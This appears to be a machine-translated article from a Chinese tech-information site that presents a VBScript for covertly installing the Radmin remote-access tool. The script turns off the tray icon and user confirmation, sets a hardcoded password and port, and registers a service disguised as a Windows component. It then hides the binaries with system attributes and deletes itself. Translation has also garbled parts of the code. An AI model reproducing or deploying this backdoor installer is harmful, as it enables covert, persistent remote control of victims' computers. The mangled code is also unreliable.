Shulou(Shulou.com)06/03 Report--

This article mainly shows you the "Vbs script how to achieve radmin delete itself", the content is easy to understand, clear, hope to help you solve your doubts, the following let the editor lead you to study and learn "Vbs script how to achieve radmin delete itself" this article.

The code is as follows:

On error resume next const HKEY_LOCAL_MACHINE = & H80000002 strComputer = "." Set StdOut = WScript.StdOut Set oReg=GetObject ("winmgmts: {impersonationLevel=impersonate}!\\" & _ strComputer & "\ root\ default:StdRegProv") strKeyPath = "SYSTEM\ RAdmin" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath = "SYSTEM\ RAdmin\ v2.0" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath = "SYSTEM\ RAdmin\ v2.0\ Server" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath = "SYSTEM\ RAdmin\ v2.0\ Server\ iplist" oReg.CreateKey HKEY_LOCAL_MACHINE StrKeyPath strKeyPath = "SYSTEM\ RAdmin\ v2.0\ Server\ Parameters" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath Set objRegistry = GetObject ("Winmgmts:root\ default:StdRegProv") strPath = "SYSTEM\ RAdmin\ v2.0\ Server\ Parameters" uBinary = Array Return = objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE,strPath, "AskUser", uBinary) uBinary = Array (0Magne0) Return = objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE,strPath, "AutoAllow", uBinary) uBinary = Array Return = objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE,strPath, "DisableTrayIcon", uBinary) uBinary = Array Return = objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE,strPath, "EnableEventLog", uBinary) uBinary = Array Return = objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE,strPath, "EnableLogFile", uBinary) uBinary = Array Return = objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE,strPath, "FilterIp", uBinary) uBinary = Array 0uBinary 0) Return = objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE,strPath, "NTAuthEnabled", uBinary) uBinary = Array (198recovery195pje 16215pint 3215jpg 224jr.10312173208119) / / this is the registry to export hexadecimal to decimal data pass:241241241 Return = objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE,strPath, "Parameter", uBinary) / / Radmin password uBinary = Array / port: 1029 Return = objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE,strPath, "Port", uBinary) uBinary = Array (10penny 0) 0) Return = objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE,strPath, "Timeout", uBinary) Set oReg=GetObject ("winmgmts: {impersonationLevel=impersonate}!\\" & strComputer & "\ root\ default:StdRegProv") strKeyPath = "SYSTEM\ RAdmin\ v2.0\ Server\ Parameters" strValueName = "LogFilePath" strValue = "c:\ logfile.txt" set wshshell=createobject ("wscript.shell") a=wshshell.run ("sc.exe create WinManageHelp binpath=% systemroot%\ system32\ Exporer.exe start= auto", 0) oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath StrValueName,strValue Set oReg=GetObject ("winmgmts: {impersonationLevel=impersonate}!\\" & strComputer & "\ root\ default:StdRegProv") strKeyPath = "SYSTEM\ ControlSet001\ Services\ WinManageHelp" strValueName = "Description" strValue = "Windows Media PlayerWindows Management Instrumentation Player Drivers." OReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue strValueName = "DisplayName" strValue = "Windows Management Instrumentation Player Drivers" oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue strValueName = "ImagePath" strValue = "c:\ windows\ system32\ Exporer.exe / service" oReg.SetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue set wshshell=createobject ("wscript.shell") a=wshshell.run ("net start WinManageHelp", 0) b=wshshell.run ("attrib + r + h + s% systemroot%\ system32\ exporer.exe" 0) c=wshshell.run ("attrib + r + h + s% systemroot%\ system32\ AdmDll.dll", 0) d=wshshell.run ("attrib + r + h + s% systemroot%\ system32\ raddrv.dll", 0) CreateObject ("Scripting.FileSystemObject") .DeleteFile (WScript.ScriptName) / / self-delete

The best deletion code is good.

Createobject ("scripting.filesystemobject") .deletefile (script.scriptname) these are all the contents of the article "how does a Vbs script make radmin delete itself?" Thank you for reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.